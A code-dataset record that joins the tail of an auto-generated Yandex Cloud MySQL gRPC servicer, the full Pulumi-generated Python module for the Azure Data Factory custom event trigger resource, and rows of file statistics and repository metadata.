request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.BackupClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'Restore': grpc.unary_unary_rpc_method_handler(
servicer.Restore,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.RestoreClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'ListLogs': grpc.unary_unary_rpc_method_handler(
servicer.ListLogs,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterLogsRequest.FromString,
response_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterLogsResponse.SerializeToString,
),
'ListOperations': grpc.unary_unary_rpc_method_handler(
servicer.ListOperations,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterOperationsRequest.FromString,
response_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterOperationsResponse.SerializeToString,
),
'ListBackups': grpc.unary_unary_rpc_method_handler(
servicer.ListBackups,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterBackupsRequest.FromString,
response_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterBackupsResponse.SerializeToString,
),
'ListHosts': grpc.unary_unary_rpc_method_handler(
servicer.ListHosts,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterHostsRequest.FromString,
response_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterHostsResponse.SerializeToString,
),
'AddHosts': grpc.unary_unary_rpc_method_handler(
servicer.AddHosts,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.AddClusterHostsRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'DeleteHosts': grpc.unary_unary_rpc_method_handler(
servicer.DeleteHosts,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.DeleteClusterHostsRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'yandex.cloud.mdb.mysql.v1alpha.ClusterService', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
| 55.141869
| 151
| 0.795494
| 1,838
| 15,936
| 6.380305
| 0.065832
| 0.04835
| 0.075211
| 0.091328
| 0.873028
| 0.866377
| 0.857252
| 0.799437
| 0.788607
| 0.715699
| 0
| 0.009293
| 0.135668
| 15,936
| 288
| 152
| 55.333333
| 0.842094
| 0.068148
| 0
| 0.349776
| 1
| 0
| 0.11237
| 0.058221
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076233
| false
| 0
| 0.017937
| 0
| 0.103139
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bc802bf0e5ce961406aba787e77a483b9de085ad
| 34,766
|
py
|
Python
|
sdk/python/pulumi_azure/datafactory/trigger_custom_event.py
|
roderik/pulumi-azure
|
f6d0c058d6f9111a709bc5f1515d1638f9d615f0
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/datafactory/trigger_custom_event.py
|
roderik/pulumi-azure
|
f6d0c058d6f9111a709bc5f1515d1638f9d615f0
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure/datafactory/trigger_custom_event.py
|
roderik/pulumi-azure
|
f6d0c058d6f9111a709bc5f1515d1638f9d615f0
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['TriggerCustomEventArgs', 'TriggerCustomEvent']
@pulumi.input_type
class TriggerCustomEventArgs:
def __init__(__self__, *,
data_factory_id: pulumi.Input[str],
eventgrid_topic_id: pulumi.Input[str],
events: pulumi.Input[Sequence[pulumi.Input[str]]],
pipelines: pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]],
activated: Optional[pulumi.Input[bool]] = None,
additional_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
annotations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
subject_begins_with: Optional[pulumi.Input[str]] = None,
subject_ends_with: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a TriggerCustomEvent resource.
:param pulumi.Input[str] data_factory_id: The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
:param pulumi.Input[str] eventgrid_topic_id: The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] events: List of events that will fire this trigger. At least one event must be specified.
:param pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]] pipelines: One or more `pipeline` blocks as defined below.
:param pulumi.Input[bool] activated: Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] additional_properties: A map of additional properties to associate with the Data Factory Custom Event Trigger.
:param pulumi.Input[Sequence[pulumi.Input[str]]] annotations: List of tags that can be used for describing the Data Factory Custom Event Trigger.
:param pulumi.Input[str] description: The description for the Data Factory Custom Event Trigger.
:param pulumi.Input[str] name: Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
:param pulumi.Input[str] subject_begins_with: The pattern that event subject starts with for trigger to fire.
:param pulumi.Input[str] subject_ends_with: The pattern that event subject ends with for trigger to fire.
"""
pulumi.set(__self__, "data_factory_id", data_factory_id)
pulumi.set(__self__, "eventgrid_topic_id", eventgrid_topic_id)
pulumi.set(__self__, "events", events)
pulumi.set(__self__, "pipelines", pipelines)
if activated is not None:
pulumi.set(__self__, "activated", activated)
if additional_properties is not None:
pulumi.set(__self__, "additional_properties", additional_properties)
if annotations is not None:
pulumi.set(__self__, "annotations", annotations)
if description is not None:
pulumi.set(__self__, "description", description)
if name is not None:
pulumi.set(__self__, "name", name)
if subject_begins_with is not None:
pulumi.set(__self__, "subject_begins_with", subject_begins_with)
if subject_ends_with is not None:
pulumi.set(__self__, "subject_ends_with", subject_ends_with)
@property
@pulumi.getter(name="dataFactoryId")
def data_factory_id(self) -> pulumi.Input[str]:
"""
The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
"""
return pulumi.get(self, "data_factory_id")
@data_factory_id.setter
def data_factory_id(self, value: pulumi.Input[str]):
pulumi.set(self, "data_factory_id", value)
@property
@pulumi.getter(name="eventgridTopicId")
def eventgrid_topic_id(self) -> pulumi.Input[str]:
"""
The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
"""
return pulumi.get(self, "eventgrid_topic_id")
@eventgrid_topic_id.setter
def eventgrid_topic_id(self, value: pulumi.Input[str]):
pulumi.set(self, "eventgrid_topic_id", value)
@property
@pulumi.getter
def events(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
List of events that will fire this trigger. At least one event must be specified.
"""
return pulumi.get(self, "events")
@events.setter
def events(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "events", value)
@property
@pulumi.getter
def pipelines(self) -> pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]]:
"""
One or more `pipeline` blocks as defined below.
"""
return pulumi.get(self, "pipelines")
@pipelines.setter
def pipelines(self, value: pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]]):
pulumi.set(self, "pipelines", value)
@property
@pulumi.getter
def activated(self) -> Optional[pulumi.Input[bool]]:
"""
Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
"""
return pulumi.get(self, "activated")
@activated.setter
def activated(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "activated", value)
@property
@pulumi.getter(name="additionalProperties")
def additional_properties(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of additional properties to associate with the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "additional_properties")
@additional_properties.setter
def additional_properties(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "additional_properties", value)
@property
@pulumi.getter
def annotations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of tags that can be used for describing the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "annotations")
@annotations.setter
def annotations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "annotations", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description for the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="subjectBeginsWith")
def subject_begins_with(self) -> Optional[pulumi.Input[str]]:
"""
The pattern that event subject starts with for trigger to fire.
"""
return pulumi.get(self, "subject_begins_with")
@subject_begins_with.setter
def subject_begins_with(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "subject_begins_with", value)
@property
@pulumi.getter(name="subjectEndsWith")
def subject_ends_with(self) -> Optional[pulumi.Input[str]]:
"""
The pattern that event subject ends with for trigger to fire.
"""
return pulumi.get(self, "subject_ends_with")
@subject_ends_with.setter
def subject_ends_with(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "subject_ends_with", value)
@pulumi.input_type
class _TriggerCustomEventState:
def __init__(__self__, *,
activated: Optional[pulumi.Input[bool]] = None,
additional_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
annotations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
data_factory_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
eventgrid_topic_id: Optional[pulumi.Input[str]] = None,
events: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
pipelines: Optional[pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]]] = None,
subject_begins_with: Optional[pulumi.Input[str]] = None,
subject_ends_with: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering TriggerCustomEvent resources.
:param pulumi.Input[bool] activated: Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] additional_properties: A map of additional properties to associate with the Data Factory Custom Event Trigger.
:param pulumi.Input[Sequence[pulumi.Input[str]]] annotations: List of tags that can be used for describing the Data Factory Custom Event Trigger.
:param pulumi.Input[str] data_factory_id: The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
:param pulumi.Input[str] description: The description for the Data Factory Custom Event Trigger.
:param pulumi.Input[str] eventgrid_topic_id: The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] events: List of events that will fire this trigger. At least one event must be specified.
:param pulumi.Input[str] name: Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
:param pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]] pipelines: One or more `pipeline` blocks as defined below.
:param pulumi.Input[str] subject_begins_with: The pattern that event subject starts with for trigger to fire.
:param pulumi.Input[str] subject_ends_with: The pattern that event subject ends with for trigger to fire.
"""
if activated is not None:
pulumi.set(__self__, "activated", activated)
if additional_properties is not None:
pulumi.set(__self__, "additional_properties", additional_properties)
if annotations is not None:
pulumi.set(__self__, "annotations", annotations)
if data_factory_id is not None:
pulumi.set(__self__, "data_factory_id", data_factory_id)
if description is not None:
pulumi.set(__self__, "description", description)
if eventgrid_topic_id is not None:
pulumi.set(__self__, "eventgrid_topic_id", eventgrid_topic_id)
if events is not None:
pulumi.set(__self__, "events", events)
if name is not None:
pulumi.set(__self__, "name", name)
if pipelines is not None:
pulumi.set(__self__, "pipelines", pipelines)
if subject_begins_with is not None:
pulumi.set(__self__, "subject_begins_with", subject_begins_with)
if subject_ends_with is not None:
pulumi.set(__self__, "subject_ends_with", subject_ends_with)
@property
@pulumi.getter
def activated(self) -> Optional[pulumi.Input[bool]]:
"""
Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
"""
return pulumi.get(self, "activated")
@activated.setter
def activated(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "activated", value)
@property
@pulumi.getter(name="additionalProperties")
def additional_properties(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
A map of additional properties to associate with the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "additional_properties")
@additional_properties.setter
def additional_properties(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "additional_properties", value)
@property
@pulumi.getter
def annotations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of tags that can be used for describing the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "annotations")
@annotations.setter
def annotations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "annotations", value)
@property
@pulumi.getter(name="dataFactoryId")
def data_factory_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
"""
return pulumi.get(self, "data_factory_id")
@data_factory_id.setter
def data_factory_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "data_factory_id", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description for the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="eventgridTopicId")
def eventgrid_topic_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
"""
return pulumi.get(self, "eventgrid_topic_id")
@eventgrid_topic_id.setter
def eventgrid_topic_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "eventgrid_topic_id", value)
@property
@pulumi.getter
def events(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of events that will fire this trigger. At least one event must be specified.
"""
return pulumi.get(self, "events")
@events.setter
def events(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "events", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def pipelines(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]]]:
"""
One or more `pipeline` blocks as defined below.
"""
return pulumi.get(self, "pipelines")
@pipelines.setter
def pipelines(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['TriggerCustomEventPipelineArgs']]]]):
pulumi.set(self, "pipelines", value)
@property
@pulumi.getter(name="subjectBeginsWith")
def subject_begins_with(self) -> Optional[pulumi.Input[str]]:
"""
The pattern that event subject starts with for trigger to fire.
"""
return pulumi.get(self, "subject_begins_with")
@subject_begins_with.setter
def subject_begins_with(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "subject_begins_with", value)
@property
@pulumi.getter(name="subjectEndsWith")
def subject_ends_with(self) -> Optional[pulumi.Input[str]]:
"""
The pattern that event subject ends with for trigger to fire.
"""
return pulumi.get(self, "subject_ends_with")
@subject_ends_with.setter
def subject_ends_with(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "subject_ends_with", value)
class TriggerCustomEvent(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
activated: Optional[pulumi.Input[bool]] = None,
additional_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
annotations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
data_factory_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
eventgrid_topic_id: Optional[pulumi.Input[str]] = None,
events: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
pipelines: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['TriggerCustomEventPipelineArgs']]]]] = None,
subject_begins_with: Optional[pulumi.Input[str]] = None,
subject_ends_with: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Manages a Custom Event Trigger inside an Azure Data Factory.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe")
example_factory = azure.datafactory.Factory("exampleFactory",
location=example_resource_group.location,
resource_group_name=example_resource_group.name)
example_pipeline = azure.datafactory.Pipeline("examplePipeline",
resource_group_name=example_resource_group.name,
data_factory_name=example_factory.name)
example_topic = azure.eventgrid.Topic("exampleTopic",
location=example_resource_group.location,
resource_group_name=example_resource_group.name)
example_trigger_custom_event = azure.datafactory.TriggerCustomEvent("exampleTriggerCustomEvent",
data_factory_id=example_factory.id,
eventgrid_topic_id=example_topic.id,
events=[
"event1",
"event2",
],
subject_begins_with="abc",
subject_ends_with="xyz",
annotations=[
"example1",
"example2",
"example3",
],
description="example description",
pipelines=[azure.datafactory.TriggerCustomEventPipelineArgs(
name=example_pipeline.name,
parameters={
"Env": "Prod",
},
)],
additional_properties={
"foo": "foo1",
"bar": "bar2",
})
```
## Import
Data Factory Custom Event Trigger can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:datafactory/triggerCustomEvent:TriggerCustomEvent example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/example/providers/Microsoft.DataFactory/factories/example/triggers/example
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] activated: Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] additional_properties: A map of additional properties to associate with the Data Factory Custom Event Trigger.
:param pulumi.Input[Sequence[pulumi.Input[str]]] annotations: List of tags that can be used for describing the Data Factory Custom Event Trigger.
:param pulumi.Input[str] data_factory_id: The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
:param pulumi.Input[str] description: The description for the Data Factory Custom Event Trigger.
:param pulumi.Input[str] eventgrid_topic_id: The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] events: List of events that will fire this trigger. At least one event must be specified.
:param pulumi.Input[str] name: Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['TriggerCustomEventPipelineArgs']]]] pipelines: One or more `pipeline` blocks as defined below.
:param pulumi.Input[str] subject_begins_with: The pattern that event subject starts with for trigger to fire.
:param pulumi.Input[str] subject_ends_with: The pattern that event subject ends with for trigger to fire.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: TriggerCustomEventArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages a Custom Event Trigger inside an Azure Data Factory.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe")
example_factory = azure.datafactory.Factory("exampleFactory",
location=example_resource_group.location,
resource_group_name=example_resource_group.name)
example_pipeline = azure.datafactory.Pipeline("examplePipeline",
resource_group_name=example_resource_group.name,
data_factory_name=example_factory.name)
example_topic = azure.eventgrid.Topic("exampleTopic",
location=example_resource_group.location,
resource_group_name=example_resource_group.name)
example_trigger_custom_event = azure.datafactory.TriggerCustomEvent("exampleTriggerCustomEvent",
data_factory_id=example_factory.id,
eventgrid_topic_id=example_topic.id,
events=[
"event1",
"event2",
],
subject_begins_with="abc",
subject_ends_with="xyz",
annotations=[
"example1",
"example2",
"example3",
],
description="example description",
pipelines=[azure.datafactory.TriggerCustomEventPipelineArgs(
name=example_pipeline.name,
parameters={
"Env": "Prod",
},
)],
additional_properties={
"foo": "foo1",
"bar": "bar2",
})
```
## Import
Data Factory Custom Event Trigger can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:datafactory/triggerCustomEvent:TriggerCustomEvent example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/example/providers/Microsoft.DataFactory/factories/example/triggers/example
```
:param str resource_name: The name of the resource.
:param TriggerCustomEventArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(TriggerCustomEventArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
activated: Optional[pulumi.Input[bool]] = None,
additional_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
annotations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
data_factory_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
eventgrid_topic_id: Optional[pulumi.Input[str]] = None,
events: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
pipelines: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['TriggerCustomEventPipelineArgs']]]]] = None,
subject_begins_with: Optional[pulumi.Input[str]] = None,
subject_ends_with: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = TriggerCustomEventArgs.__new__(TriggerCustomEventArgs)
__props__.__dict__["activated"] = activated
__props__.__dict__["additional_properties"] = additional_properties
__props__.__dict__["annotations"] = annotations
if data_factory_id is None and not opts.urn:
raise TypeError("Missing required property 'data_factory_id'")
__props__.__dict__["data_factory_id"] = data_factory_id
__props__.__dict__["description"] = description
if eventgrid_topic_id is None and not opts.urn:
raise TypeError("Missing required property 'eventgrid_topic_id'")
__props__.__dict__["eventgrid_topic_id"] = eventgrid_topic_id
if events is None and not opts.urn:
raise TypeError("Missing required property 'events'")
__props__.__dict__["events"] = events
__props__.__dict__["name"] = name
if pipelines is None and not opts.urn:
raise TypeError("Missing required property 'pipelines'")
__props__.__dict__["pipelines"] = pipelines
__props__.__dict__["subject_begins_with"] = subject_begins_with
__props__.__dict__["subject_ends_with"] = subject_ends_with
super(TriggerCustomEvent, __self__).__init__(
'azure:datafactory/triggerCustomEvent:TriggerCustomEvent',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
activated: Optional[pulumi.Input[bool]] = None,
additional_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
annotations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
data_factory_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
eventgrid_topic_id: Optional[pulumi.Input[str]] = None,
events: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
pipelines: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['TriggerCustomEventPipelineArgs']]]]] = None,
subject_begins_with: Optional[pulumi.Input[str]] = None,
subject_ends_with: Optional[pulumi.Input[str]] = None) -> 'TriggerCustomEvent':
"""
Get an existing TriggerCustomEvent resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] activated: Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] additional_properties: A map of additional properties to associate with the Data Factory Custom Event Trigger.
:param pulumi.Input[Sequence[pulumi.Input[str]]] annotations: List of tags that can be used for describing the Data Factory Custom Event Trigger.
:param pulumi.Input[str] data_factory_id: The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
:param pulumi.Input[str] description: The description for the Data Factory Custom Event Trigger.
:param pulumi.Input[str] eventgrid_topic_id: The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] events: List of events that will fire this trigger. At least one event must be specified.
:param pulumi.Input[str] name: Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['TriggerCustomEventPipelineArgs']]]] pipelines: One or more `pipeline` blocks as defined below.
:param pulumi.Input[str] subject_begins_with: The pattern that event subject starts with for trigger to fire.
:param pulumi.Input[str] subject_ends_with: The pattern that event subject ends with for trigger to fire.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _TriggerCustomEventState.__new__(_TriggerCustomEventState)
__props__.__dict__["activated"] = activated
__props__.__dict__["additional_properties"] = additional_properties
__props__.__dict__["annotations"] = annotations
__props__.__dict__["data_factory_id"] = data_factory_id
__props__.__dict__["description"] = description
__props__.__dict__["eventgrid_topic_id"] = eventgrid_topic_id
__props__.__dict__["events"] = events
__props__.__dict__["name"] = name
__props__.__dict__["pipelines"] = pipelines
__props__.__dict__["subject_begins_with"] = subject_begins_with
__props__.__dict__["subject_ends_with"] = subject_ends_with
return TriggerCustomEvent(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def activated(self) -> pulumi.Output[Optional[bool]]:
"""
Specifies if the Data Factory Custom Event Trigger is activated. Defaults to `true`.
"""
return pulumi.get(self, "activated")
@property
@pulumi.getter(name="additionalProperties")
def additional_properties(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
A map of additional properties to associate with the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "additional_properties")
@property
@pulumi.getter
def annotations(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
List of tags that can be used for describing the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "annotations")
@property
@pulumi.getter(name="dataFactoryId")
def data_factory_id(self) -> pulumi.Output[str]:
"""
The ID of Data Factory in which to associate the Trigger with. Changing this forces a new resource.
"""
return pulumi.get(self, "data_factory_id")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
The description for the Data Factory Custom Event Trigger.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="eventgridTopicId")
def eventgrid_topic_id(self) -> pulumi.Output[str]:
"""
The ID of Event Grid Topic in which event will be listened. Changing this forces a new resource.
"""
return pulumi.get(self, "eventgrid_topic_id")
@property
@pulumi.getter
def events(self) -> pulumi.Output[Sequence[str]]:
"""
List of events that will fire this trigger. At least one event must be specified.
"""
return pulumi.get(self, "events")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Specifies the name of the Data Factory Custom Event Trigger. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def pipelines(self) -> pulumi.Output[Sequence['outputs.TriggerCustomEventPipeline']]:
"""
One or more `pipeline` blocks as defined below.
"""
return pulumi.get(self, "pipelines")
@property
@pulumi.getter(name="subjectBeginsWith")
def subject_begins_with(self) -> pulumi.Output[Optional[str]]:
"""
The pattern that event subject starts with for trigger to fire.
"""
return pulumi.get(self, "subject_begins_with")
@property
@pulumi.getter(name="subjectEndsWith")
def subject_ends_with(self) -> pulumi.Output[Optional[str]]:
"""
The pattern that event subject ends with for trigger to fire.
"""
return pulumi.get(self, "subject_ends_with")
| 47.887052
| 230
| 0.663033
| 4,009
| 34,766
| 5.556997
| 0.056623
| 0.098258
| 0.074782
| 0.047401
| 0.912604
| 0.902146
| 0.885223
| 0.872969
| 0.864126
| 0.850435
| 0
| 0.002987
| 0.239257
| 34,766
| 725
| 231
| 47.953103
| 0.839345
| 0.370534
| 0
| 0.774869
| 1
| 0
| 0.112627
| 0.028698
| 0
| 0
| 0
| 0
| 0
| 1
